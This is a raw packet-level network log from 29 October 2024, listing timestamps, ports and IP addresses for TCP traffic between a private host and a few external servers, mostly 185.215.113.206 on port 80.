Oct 29, 2024 17:59:51.688194990 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.688458920 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.688483953 CET	443	50059	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.739327908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739393950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739430904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739444017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739455938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739469051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739483118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739485025 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739496946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739506006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739514112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739521027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739526033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739537001 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739547968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739562988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739571095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739578009 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739594936 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739614010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739646912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739659071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739672899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739696980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739765882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739785910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739803076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739814997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739829063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739836931 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739850044 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739934921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739939928 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739962101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739976883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.739976883 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.739989996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740000963 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740012884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740051031 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740072966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740084887 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740099907 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740111113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740122080 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740122080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740133047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740163088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740468979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740513086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740521908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740535021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740662098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740673065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740689993 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740701914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740712881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740715027 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740725040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740737915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740750074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740761042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740767956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740801096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740801096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740828991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740842104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740852118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740863085 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740865946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740875006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740880966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740888119 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740899086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740900040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740917921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740923882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740926981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740928888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.740938902 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.740978956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741014004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741053104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741056919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741082907 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741127968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741172075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741183996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741195917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741211891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741220951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741223097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741235971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741250038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741256952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741269112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741276026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741291046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741317987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741492033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741575003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741588116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741624117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741631985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741635084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741647005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741660118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741671085 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741673946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741683006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741700888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741740942 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741745949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741754055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741770983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741801023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741811991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741812944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741825104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741837025 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741837025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741851091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.741862059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.741889000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.857772112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.857909918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.857928991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.857943058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.857954979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.857969046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.857969999 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.857988119 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.857995033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858000040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858011961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858023882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858026028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858040094 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858047009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858056068 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858068943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858072042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858086109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858099937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858103037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858119011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858131886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858139992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858139992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858144999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858161926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858165026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858177900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858187914 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858202934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858212948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858217001 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858228922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858242989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858263016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858269930 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858340025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858350992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858351946 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858392000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858407021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858418941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858431101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858465910 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858486891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858489037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858500004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858526945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858534098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858541012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858552933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858563900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858598948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858623981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858625889 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858644962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858656883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858702898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858711004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858722925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858740091 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858761072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858767986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858779907 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858817101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.858906984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858951092 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858962059 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.858989000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859003067 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859170914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859236956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859250069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859304905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859402895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859415054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859421015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859431028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859436989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859443903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859462023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859466076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859473944 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859477043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859482050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859493017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859509945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859519005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859523058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859529018 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859536886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859549999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859561920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859574080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859575987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859585047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859589100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859601974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859608889 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859613895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859621048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859627962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.859653950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.859675884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.927187920 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.927639961 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.927651882 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.928206921 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.928211927 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.928227901 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.928781986 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.928808928 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.929306984 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.929316044 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.933475018 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.933845043 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.933881044 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.934324026 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.934329033 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.964422941 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.964791059 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.964816093 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.965204954 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.965210915 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.975699902 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975756884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.975768089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975785017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975811005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.975826979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975837946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.975838900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975852013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975863934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975873947 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.975877047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975889921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.975908041 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.975922108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.975996971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976007938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976016998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976032019 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976043940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976044893 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976053953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976058006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976082087 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976104975 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976131916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976145029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976155043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976181030 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976198912 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976284027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976295948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976306915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976322889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976334095 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976334095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976345062 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976351023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976363897 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976368904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976375103 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976378918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976389885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976397991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976403952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976416111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976423979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976437092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976461887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976500988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976512909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976525068 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976536989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976547956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976567984 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976656914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976672888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976685047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976696014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976706028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976708889 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976718903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976722956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976731062 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976742983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976748943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976753950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976766109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976777077 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976779938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976789951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976819992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976875067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976901054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976917982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976949930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976950884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.976963043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.976963997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977001905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977102041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977118015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977144957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977169991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.977207899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977225065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977237940 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.977247953 CET	49958	80	192.168.2.6	185.215.113.206
